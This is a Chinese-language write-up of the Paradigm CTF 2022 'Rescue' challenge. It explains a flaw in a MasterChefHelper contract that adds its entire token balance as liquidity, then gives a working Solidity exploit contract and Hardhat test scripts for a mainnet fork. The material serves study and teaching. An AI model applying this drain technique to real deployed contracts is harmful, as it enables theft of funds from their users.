Paradigm 题解 Rescue

Posted by Thomas_Xu on 2022-10-25

paradigm 2022 ctf 题解——Rescue


author:Thomas_Xu

环境配置:
由于题目环境需要使用docker,环境配置有点繁琐。我重新搭了一个hardhat框架的测试环境,而由于题目出在以太坊的主链上,并使用Alchemyfork了一个主网节点进行测试.

Resucue

首先先来看一下这道题目的描述:I accidentally sent some WETH to a contract, can you help me?看起来像是由于操作失误,导致像一个合约转了一些ETH,想要完成此Challange就必须试图挽救一下这笔损失.
接下来看一看合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./MasterChefHelper.sol";
interface WETH9 is ERC20Like {
function deposit() external payable;
}

contract Setup {

WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
MasterChefHelper public immutable mcHelper;

constructor() payable {
mcHelper = new MasterChefHelper();
weth.deposit{value: 10 ether}();
weth.transfer(address(mcHelper), 10 ether); // whoops
}

function isSolved() external view returns (bool) {
return weth.balanceOf(address(mcHelper)) == 0;
}

}

这是Setup合约,从中我们可以获取以下信息:

  1. 我们不小心向mcHelper合约转了10 ether
  2. 完成Challange的条件是要求mcHelper合约里没有这笔钱return weth.balanceOf(address(mcHelper)) == 0;
    所以我们可能并不是要做到把这笔钱转回到我们账户上,而是只需要使这10个ETH从mcHelper消失即可.

有了上面的分析,似乎已经有了眉目,接下来分析MasterChefLike合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

import "./UniswapV2Like.sol";

interface ERC20Like {
function transferFrom(address, address, uint) external;
function transfer(address, uint) external;
function approve(address, uint) external;
function balanceOf(address) external view returns (uint);
}

interface MasterChefLike {
function poolInfo(uint256 id) external returns (
address lpToken,
uint256 allocPoint,
uint256 lastRewardBlock,
uint256 accSushiPerShare
);
}

contract MasterChefHelper {

MasterChefLike public constant masterchef = MasterChefLike(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
(address lpToken,,,) = masterchef.poolInfo(poolId);
address tokenOut0 = UniswapV2PairLike(lpToken).token0();
address tokenOut1 = UniswapV2PairLike(lpToken).token1();

ERC20Like(tokenIn).approve(address(router), type(uint256).max);
ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);

// swap for both tokens of the lp pool
_swap(tokenIn, tokenOut0, amountIn / 2);
_swap(tokenIn, tokenOut1, amountIn / 2);

// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);
}

function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)), //WETH
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}

function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}
}

这个合约只有一个外部调用函数:swapTokenForPoolToken()所以我们可以集中目光研究此函数即可.
接下来我们一步一步分析这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
(address lpToken,,,) = masterchef.poolInfo(poolId); //获取poolId对应交易池
address tokenOut0 = UniswapV2PairLike(lpToken).token0(); //获取交易池对应的token
address tokenOut1 = UniswapV2PairLike(lpToken).token1();

ERC20Like(tokenIn).approve(address(router), type(uint256).max); //每个token都给router授权
ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);//将要兑换的Weth发送到此合约

// swap for both tokens of the lp pool
_swap(tokenIn, tokenOut0, amountIn / 2); //将兑换的Weth分别交换为两种token
_swap(tokenIn, tokenOut1, amountIn / 2);

// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);
}

在函数最后调用了一个添加流动性的函数,这可能就是这笔误转账最终的去向

1
2
3
4
5
6
7
8
9
10
11
12
13
function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)), //漏洞所在
ERC20Like(token1).balanceOf(address(this)), //
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}

不难发现,这里添加流动性时,居然是把自己所有的余额全部发送到router里去addLiquidity,这是明显不合理的,只要我们能控制以下交易对的交换额,我们就可以把此合约的ETH余额全部加入到流动性池子当中。

Exploit

对应以上的分析,想要解决此Challange,我们还得到两种token去控制流动性兑换的数量。

这里我们选择usdc和dai,在etherscan里可以查到poolId为1的时候对应的pair就是usdc和Weth,并可获得token对应的地址


当然我们也可以用脚本来获取交易对信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const { expect } = require("chai");
const { ethers } = require('hardhat');
const masterLike = require('../contracts/rescue/MatserChefLike.json')
describe("Challange rescue", function() {
let attacker,deployer;
it("should return the solved", async function() {
[attacker,deployer] = await ethers.getSigners();
const Weth = await ethers.getContractAt("WETH9","0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", attacker);
const SetupFactory = await ethers.getContractFactory("Setup", attacker);

const setup = await SetupFactory.deploy({
value: ethers.utils.parseEther("50")
});

//Exploit
let abi = [{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"poolInfo","outputs":[{"internalType":"address","name":"lpToken","type":"address"},{"internalType":"uint256","name":"allocPoint","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accSushiPerShare","type":"uint256"}],"stateMutability":"view","type":"function"}];

let UniswapV2pairLikeAbi = [{"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}];

erc20_abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]


let contractAddress = "0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd";

let provider = await ethers.getDefaultProvider();
const MasterLike = new ethers.Contract(contractAddress, abi, provider);

for(let i = 0; i < 18; i++){
// let pool_info = await MasterLike.connect(attacker).poolInfo(i);
let pool_info = await MasterLike.poolInfo(i);
let lp_token = pool_info[0];
const pair = new ethers.Contract(ethers.utils.getAddress(lp_token), UniswapV2pairLikeAbi, provider);
const token0 = await pair.token0();
let token1 = await pair.token1();
let token_contract0 = new ethers.Contract(token0, erc20_abi, provider);
let token_contract1 = new ethers.Contract(token1, erc20_abi, provider);
let token0_name = await token_contract0.symbol();
let tokne1_name = await token_contract1.symbol();
// console.log(lp_token)
console.log(`lp_token is : ${lp_token} token0 is : ${token0_name} token1 is : ${tokne1_name}`);
}

// const ExploitFactory = await ethers.getContractFactory("Exploit",attacker);
// const exploit = await ExploitFactory.deploy(setup.address, {value : ethers.utils.parseEther("50")});

expect(await setup.isSolved()).to.equal(true);
});
});

获取到的交易对如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pair_id:0,lp_address:0x06da0fd433C1A5d7a4faa01111c044910A184553,token0:WETH,token1:USDT
pair_id:1,lp_address:0x397FF1542f962076d0BFE58eA045FfA2d347ACa0,token0:USDC,token1:WETH
pair_id:2,lp_address:0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f,token0:DAI,token1:WETH
pair_id:3,lp_address:0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539,token0:sUSD,token1:WETH
pair_id:4,lp_address:0x31503dcb60119A812feE820bb7042752019F2355,token0:COMP,token1:WETH
pair_id:5,lp_address:0x5E63360E891BD60C69445970256C260b0A6A54c6,token0:LEND,token1:WETH
pair_id:6,lp_address:0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470,token0:SNX,token1:WETH
pair_id:7,lp_address:0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4,token0:UMA,token1:WETH
pair_id:8,lp_address:0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967,token0:LINK,token1:WETH
pair_id:9,lp_address:0xA75F7c2F025f470355515482BdE9EFA8153536A8,token0:BAND,token1:WETH
pair_id:10,lp_address:0xCb2286d9471cc185281c4f763d34A962ED212962,token0:WETH,token1:AMPL
pair_id:11,lp_address:0x088ee5007C98a9677165D78dD2109AE4a3D04d0C,token0:YFI,token1:WETH
pair_id:12,lp_address:0x795065dCc9f64b5614C407a6EFDC400DA6221FB0,token0:SUSHI,token1:WETH
pair_id:13,lp_address:0x611CDe65deA90918c0078ac0400A72B0D25B9bb1,token0:REN,token1:WETH
pair_id:14,lp_address:0xaAD22f5543FCDaA694B68f94Be177B561836AE57,token0:sUSD,token1:$BASED
pair_id:15,lp_address:0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2,token0:SRM,token1:WETH
pair_id:16,lp_address:0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820,token0:YAMv2,token1:WETH
pair_id:17,lp_address:0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009,token0:WETH,token1:CRV
pair_id:18,lp_address:0xDafd66636E2561b0284EDdE37e42d192F2844D40,token0:UNI,token1:WETH
pair_id:19,lp_address:0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7,token0:xSUSHI,token1:WETH

我们可以写出以下攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pragma solidity 0.8.16;

import "./UniswapV2Like.sol";
import "./Setup.sol";
import "./MasterChefHelper.sol";
contract Exploit{

constructor(Setup setup) payable {

WETH9 weth = setup.weth();
MasterChefHelper mcHelper = setup.mcHelper();
UniswapV2RouterLike router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
weth.approve(address(router), type(uint256).max);

weth.deposit{value: 40 ether}();

address[] memory path = new address[](2);

path[0] = address(weth);
path[1] = usdc;
router.swapExactTokensForTokens(
11 ether,
0,
path,
address(mcHelper),
block.timestamp
);

path[0] = address(weth);
path[1] = dai;
router.swapExactTokensForTokens(
9 ether,
0,
path,
address(this),
block.timestamp
);

uint256 daiIn = 50 * 10 ** 18;
ERC20Like(dai).approve(address(mcHelper), type(uint256).max);
mcHelper.swapTokenForPoolToken(1, dai, daiIn, 0);
}
}

这里先用11个ETH去交换usdc,交换得到的usdc发送到mcHelper合约,这里的11个ETH其实只要大于10即可,目的是为了将mcHelper里的WETH全部加到流动性池子里.也可以通过getAmountOut函数计算处需要传入的usdc数目。
然后我换一些dai到自己合约,以便于触发mcHelperswapTokenForPoolToken()函数

js测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const { expect } = require("chai");
const { ethers } = require('hardhat');
const masterLike = require('../contracts/rescue/MatserChefLike.json')
describe("Challange rescue", function() {
let attacker,deployer;
it("should return the solved", async function() {
[attacker,deployer] = await ethers.getSigners();
const Weth = await ethers.getContractAt("WETH9","0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2", attacker);
const SetupFactory = await ethers.getContractFactory("Setup", attacker);

const setup = await SetupFactory.deploy({
value: ethers.utils.parseEther("50")
});

//Exploit
// let abi = [{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"poolInfo","outputs":[{"internalType":"address","name":"lpToken","type":"address"},{"internalType":"uint256","name":"allocPoint","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accSushiPerShare","type":"uint256"}],"stateMutability":"nonpayable","type":"function"}];
// let contractAddress = "0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd";
// let provider = await ethers.getDefaultProvider();
// const MasterLike = new ethers.Contract(contractAddress, abi, provider);
// // const MasterLike = await ethers.getContractAt("MasterChefLike","0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd", deployer);
// for(let i = 0; i < 5; i++){
// let tx = await MasterLike.connect(attacker).poolInfo(i);
// let pool_info = await tx.wait();
// // let pool_info = MasterLike.connect(attacker).poolInfo(i);
// // let lp_token = tx[i];
// // console.log(pool_info);
// console.log(tx);
// console.log(pool_info);
// }

const ExploitFactory = await ethers.getContractFactory("Exploit",attacker);
const exploit = await ExploitFactory.deploy(setup.address, {value : ethers.utils.parseEther("50")});

expect(await setup.isSolved()).to.equal(true)
});
});

notice

true

This is copyright.

...

...

00:00
00:00